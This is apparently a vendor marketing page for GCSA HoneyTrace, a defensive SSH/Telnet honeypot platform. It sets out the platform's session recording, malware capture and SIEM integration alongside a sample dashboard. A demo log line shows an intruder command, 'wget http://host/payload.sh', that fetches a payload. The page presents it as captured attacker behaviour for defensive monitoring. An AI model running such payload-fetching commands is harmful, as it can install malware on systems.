Attribution profiles53 sessions
GCSA ecosystem product
Defend exposed enterprise services with GCSA HoneyTrace
GCSA HoneyTrace is an enterprise deception platform for SSH and Telnet exposure. It captures credential attacks, command behavior, malware delivery, and source intelligence to help SOC teams discover threats earlier and preserve actionable evidence.
scan
brute
GCSAhoneypot
sessionsreplay
malwaresamples
SIEMevents
ioc feedpayload capturealert lane: active
Risk Overview
Turn exposed-service risk into actionable enterprise alerts
Built for enterprise SOC workflows, the risk view links threat sources, intrusion events, attack trends, and priority nodes so teams can locate high-risk entry points, preserve evidence, and prioritize response.
LoginThreat source IPs42events today
Honeypot intrusions199 high risk
Open alerts72 samples
Event distribution
Active3,051Total events
EventsSourcesShare
Intrusions1,2864242%
Port probes9143130%
Credential attempts6372421%
Ping scans214127%
Threat event trend
Last 7 daysTop 3 nodes by threat source IPs
Last 7 daysshanghai-edge-01185.17.92.44 · 42 events / critical
singapore-telnet-02103.214.10.8 · 29 events / high
frankfurt-ssh-0191.240.118.23 · 18 events / medium
SSH/TelnetProtocol coverage
24/7Attack capture
SIEMReady outputs
Enterprise deception layer
Reduce blind spots around exposed services
HoneyTrace helps security teams understand who is touching exposed access points, what tools and credentials they use, and which events need escalation into SOC investigation.
Deception
SSH & Telnet Honeypot
Expose believable services that capture brute force attempts, shell activity, uploaded files, and attacker tooling without touching production systems.
Forensics
Session Recording
Preserve commands, keystrokes, filesystem activity, timing, and replayable terminal sessions for investigation and response workflows.
Collection
Malware Capture
Collect samples and URLs delivered by intruders, enrich them with context, and route artifacts into your analysis pipeline.
Operations
SIEM-Ready Telemetry
Forward normalized events to Splunk, Elastic, Sentinel, syslog, webhooks, or data lakes for alerting and threat intelligence correlation.
Federation
Alliance-Wide Sensing
Deploy nodes across exposed surfaces and compare attacker behavior across regions, sectors, and infrastructure tiers.
Detection
Early Warning Signals
Convert low-noise adversary interaction into timely indicators for credential attacks, botnet campaigns, and post-exploitation behavior.
AI Analysis
LLM-Assisted Threat Triage
Package sessions, commands, samples, IOCs, and context into LLM-readable summaries so the SOC can judge intent, priority, and response options faster.
Operational workflow
From exposed surface to evidence and response
Enterprise deception is valuable when it shortens the path from suspicious traffic to evidence, detection logic, and response priority. HoneyTrace keeps that path structured and SOC-ready.
Expose controlled services
Place GCSA honeypot nodes in DMZ, cloud, branch, or lab networks where scanning and credential attacks naturally arrive.
Capture attacker behavior
Record authentication attempts, interactive shells, downloads, uploaded payloads, and command sequences with full session context.
Enrich and route telemetry
Transform raw interaction into indicators, replay artifacts, and structured events for SOC tooling and alliance intelligence sharing.
Live signal
10:24:08 ssh auth failed root / 185.17.x.x
10:24:11 command: wget http://host/payload.sh
10:24:14 sample captured sha256: 9f2a...
10:24:17 event routed to SIEM lane
4artifacts
12events
1alert
Integration mesh
SOC outputs without rebuilding your stack
Forward sessions, indicators, payload metadata, and attack events into the tools your security team already uses.
SplunkElastic StackMicrosoft SentinelSyslogWebhooksMISPTheHiveS3 / Data LakeLLM / AI Copilot
Deployment inquiry
Build a controlled deception layer for exposed services.
Map placement, routing, telemetry outputs, and alliance sharing requirements with the GCSA team.